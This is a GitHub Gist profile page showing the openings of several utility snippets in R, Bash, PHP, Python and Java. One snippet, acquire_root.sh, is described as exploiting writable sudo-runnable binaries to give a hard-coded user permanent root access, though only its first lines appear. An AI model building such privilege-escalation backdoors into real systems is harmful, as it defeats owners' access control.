Skip to content

Instantly share code, notes, and snippets.

View m-manu's full-sized avatar

Manu Manjunath m-manu

View GitHub Profile
@m-manu
m-manu / csvRandomForest.R
Created March 30, 2016 12:57
Handy R script to train data in 'training.csv' using random forest and predict output using inputs from 'test.csv'
trainingCsv <- "./training.csv"
testCsv <- "./test.csv"
trainingData <- read.csv(trainingCsv)
testData <- read.csv(testCsv)
numColumns <- dim(trainingData)[2]
columnNames <- colnames(trainingData)
stopifnot(numColumns == dim(testData)[2] + 1)
stopifnot(columnNames[-numColumns] == colnames(testData))
@m-manu
m-manu / scr
Last active November 28, 2016 06:03
GNU Screen: in and out (only one screen)
#!/bin/bash
if [ "$TERM" = "screen" ]; then
echo "Sorry, you're already inside a screen"
elif [ `screen -D | wc -l` -eq 1 ]; then
echo "Launching new screen..."
/usr/bin/screen
else
echo "Resuming previous screen..."
/usr/bin/screen -D -x
fi
@m-manu
m-manu / acquire_root.sh
Last active November 28, 2016 06:04
Find sudo runnable binaries that are writeable, exploit, get permanent root access
#!/bin/bash
if [ $UID -ne 0 ]; then
echo >&2 "You should run this as root"
exit
fi
# Id of user who needs to get root access:
COOL_USER_ID=1089
@m-manu
m-manu / json2csv.php
Created August 4, 2015 06:45
Attempts to convert a JSON to CSV
<?php
if (count($argv) != 3) {
error_log("Pass input_file_path output_file_path");
exit;
}
$input_file_path = $argv[1];
$output_file_path = $argv[2];
$json_str = file_get_contents($input_file_path);
@m-manu
m-manu / ckeditor.html
Last active September 16, 2020 17:16
CKEditor in Full Screen with auto-save
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>CKEditor</title>
<script type="text/javascript" src="./ckeditor.js"></script>
<script type="text/javascript">
var editor1, editor1isModified = false;
function initialize() {
CKEDITOR.replace('editor1', {
@m-manu
m-manu / run
Created March 4, 2014 05:57
To use this script, just place this in "/bin" directory (and grant it 755 perms). Then run your source files like "run helloworld.c" or "run HelloWorld.java" or "run helloworld.c"
#!/usr/bin/python
'''
Quickly compile and execute a source file in one-go. Does cleanup of executable file, if any.
Handles C, C++, Java, PHP, Shell and Python
'''
import argparse
from os import path, system, remove
def sourcefile(x):
if not path.isfile(x):
@m-manu
m-manu / ScoredSet.java
Last active January 25, 2016 06:55
Implementation of a "sorted set", a type of set in which elements are sorted according to their 'scores'. Worst-case time complexity: O(1) for retrieval of score, O(log(n)) for addition/removal of elements, O(log(n)) for changes to scores, O(k) for getting top k or bottom k elements.
package manu.sandbox.utils;
import java.util.Set;
public interface ScoredSet<T extends Comparable<T>> extends Set<T>, Cloneable {
interface ElementWithScore<T> {
T getElement();
Double getScore();
}
@m-manu
m-manu / google_oauth2_auth.php
Last active January 3, 2016 20:38
Switch from your custom implementation of authentication (storing usernames and passwords in your data store) to a "Login using Google" in no-time. Below is an ultra-light authorization using Google OAuth 2.0. Visit https://cloud.google.com/console/project >> APIs & auth >> Credentials
<?php
define('GOOGLE_OAUTH2_CLIENT_ID', 'client id'); // this will be of form "<number>.apps.googleusercontent.com"
define('GOOGLE_OAUTH2_CLIENT_SECRET', 'client secret'); // this will be a base64 string
define('GOOGLE_OAUTH2_REDIRECT_URI', 'redirect url'); // This URL should be registered under "Redirect URIs"
define('YOUR_DOMAIN', 'your domain'); // your domain
define('OAUTH2_SESSION_DURATION', 90); //in seconds
require __DIR__ . "/url_get_contents.php"; // Use https://gist.github.com/m-manu/7462652
@m-manu
m-manu / url_get_contents.php
Last active December 28, 2015 07:09
Read entire contents of a URL into one string. Allows you to pass parameters or raw data. Supports GET/POST. More convenient and feature-rich compared to file_get_contents if you're using it on URLs!
<?php
/**
* Read entire contents of given URL as a string. Optionally, get headers as well in an easily accessible array.
* @param string $url URL to fetch data from
* @param mixed $params Parameters to the URL, typically an array. In case of POST, can be a string
* @param string $method HTTP method - can be 'GET' (default) or 'POST'
* @param bool $include_headers Should response headers be included?
* @return mixed Contents of the webpage as a string. Returns <i>false</i> in case of failure. If parameter <b>$include_headers</b> is <i>true</i>, returns an <i>array</i> containing response code, response headers and response body.
*/
@m-manu
m-manu / ssh-known-hosts-optimize
Last active December 28, 2015 07:09
This script consolidates your "~/.ssh/known_hosts" file. All the aliases and internal/external IP addresses for a node will be merged into one line of the file.
#!/usr/bin/python
import os
import sys
import csv
home = os.getenv("HOME")
known_hosts_path = home+'/.ssh/known_hosts'
known_hosts_optimized_path = home+'/.ssh/known_hosts_optimized'
d = {}
csvfile = open(known_hosts_path, 'r')